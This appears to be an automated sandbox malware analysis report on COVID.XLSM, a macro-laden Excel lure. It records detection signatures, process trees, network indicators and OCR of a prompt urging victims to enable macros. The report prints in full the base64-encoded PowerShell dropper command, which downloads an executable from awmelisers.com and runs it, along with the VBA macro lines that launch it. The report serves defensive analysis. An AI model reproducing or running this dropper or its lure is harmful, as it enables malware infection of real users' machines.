Play interactive tour

Edit tour

Windows Analysis Report COVID.XLSM

Overview

General Information

Sample Name:	COVID.XLSM
Analysis ID:	471900
MD5:	c123363068a4651c9c0c6b4e01b35142
SHA1:	8de437d8df29c53e9ebb03a797fdbf805c10429a
SHA256:	e5e65b70b5497f146609db5c086e997a4b0ab2352b534c9e25d8a10407801d78
Tags:	xlsx
Infos:
Most interesting Screenshot:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Very long command line found

Creates processes via WMI

Machine Learning detection for sample

Queries the volume information (name, serial number etc) of a device

Potential document exploit detected (unknown TCP traffic)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2812 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

cmd.exe (PID: 3052 cmdline: cmd.exe /c 'powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA==' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 1664 cmdline: powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZ

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Machine Learning detection for sample

Show sources

Source: COVID.XLSM

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 00000004.00000002.2104750981.0000000002926000.00000004.00000001.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb=C:\ source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbamDa source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb:\Pr source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbemen source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000004.00000002.2104791872.0000000002A10000.00000002.00000001.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 206.81.23.172:443

Source: global traffic

DNS query: name: awmelisers.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 206.81.23.172:443

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: powershell.exe, 00000004.00000002.2104314415.0000000002390000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000004.00000002.2104314415.0000000002390000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000004.00000002.2103643804.0000000000372000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000004.00000002.2108444301.0000000003746000.00000004.00000001.sdmp, powershell.exe, 00000004.00000002.2105066116.0000000002C21000.00000004.00000001.sdmp	String found in binary or memory: https://awmelisers.com
Source: powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	String found in binary or memory: https://awmelisers.com/0
Source: powershell.exe, 00000004.00000002.2110218103.000000001B593000.00000004.00000001.sdmp, powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	String found in binary or memory: https://awmelisers.com/api/v3/achyranthes/contrapolarization/kulturkreis
Source: powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	String found in binary or memory: https://awmelisers.comPE
Source: powershell.exe, 00000004.00000002.2108444301.0000000003746000.00000004.00000001.sdmp	String found in binary or memory: https://awmelisers.comp

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C6078775.png

Jump to behavior

Source: unknown

DNS traffic detected: queries for: awmelisers.com

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 10 11 12 13 14 15 16 2 Click on "Enable Content" to perform Microsoft Office
Source: Screenshot number: 4	Screenshot OCR: Enable Content" to perform Microsoft Office Decryption Core to start the 17 decryption of the docu
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing' to unlock the editing document downloaded from the Internet ' il S Protected View
Source: Document image extraction number: 0	Screenshot OCR: Enable Content" to perform Microsoft Office Decryption Core to start the decryption of the document
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing" to unlock the editing document downloaded from the Internet ' jJ C) Protected View
Source: Document image extraction number: 1	Screenshot OCR: Enable Content" to perform Microsoft Office Decryption Core to start the decryption of the document

Document contains an embedded VBA macro which may execute processes

Show sources

Source: COVID.XLSM

OLE, VBA macro line: Set objConfig = objStartup.SpawnInstance_

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: COVID.XLSM	OLE, VBA macro line: strstr = "cmd.exe /c ""powershell -ExecutionPolicy BypasS -ENC " + StrConv(Decode64(XUN_Status_IIWSY()), vbFromUnicode) + """"
Source: COVID.XLSM	OLE, VBA macro line: strstr = "cmd.exe /c ""powershell -ExecutionPolicy BypasS -ENC " + StrConv(Decode64(XUN_Status_IIWSY()), vbFromUnicode) + """"

Very long command line found

Show sources

Source: unknown	Process created: Commandline size = 3581
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3569
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3569	Jump to behavior

Source: COVID.XLSM

OLE, VBA macro line: Private Sub Workbook_Open()

Source: COVID.XLSM

OLE indicator, VBA macros: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".....................#.................(...............(.......#.....`I%........v.....................K,.......".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#...............uH.j......................T.............}..v....x.......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v..../................K.j.....!l...............T.............}..v............0.................".....l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v..../...............uH.j....p.................T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....;.......A.t. .l.i.n.e.:.2.9. .c.h.a.r.:.3.7.............}..v............0...............8.l.....$.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....;...............uH.j......................T.............}..v....8.......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v....G................K.j.....!l...............T.............}..v....X.......0.................".....\.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....G...............uH.j......................T.............}..v............0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v....S................K.j.....!l...............T.............}..v....P#......0.................".............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....S...............uH.j.....$................T.............}..v.....$......0.................l.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..".............y=.v...._................K.j.....!l...............T.............}..v.....)......0.................".....f.......................	Jump to behavior
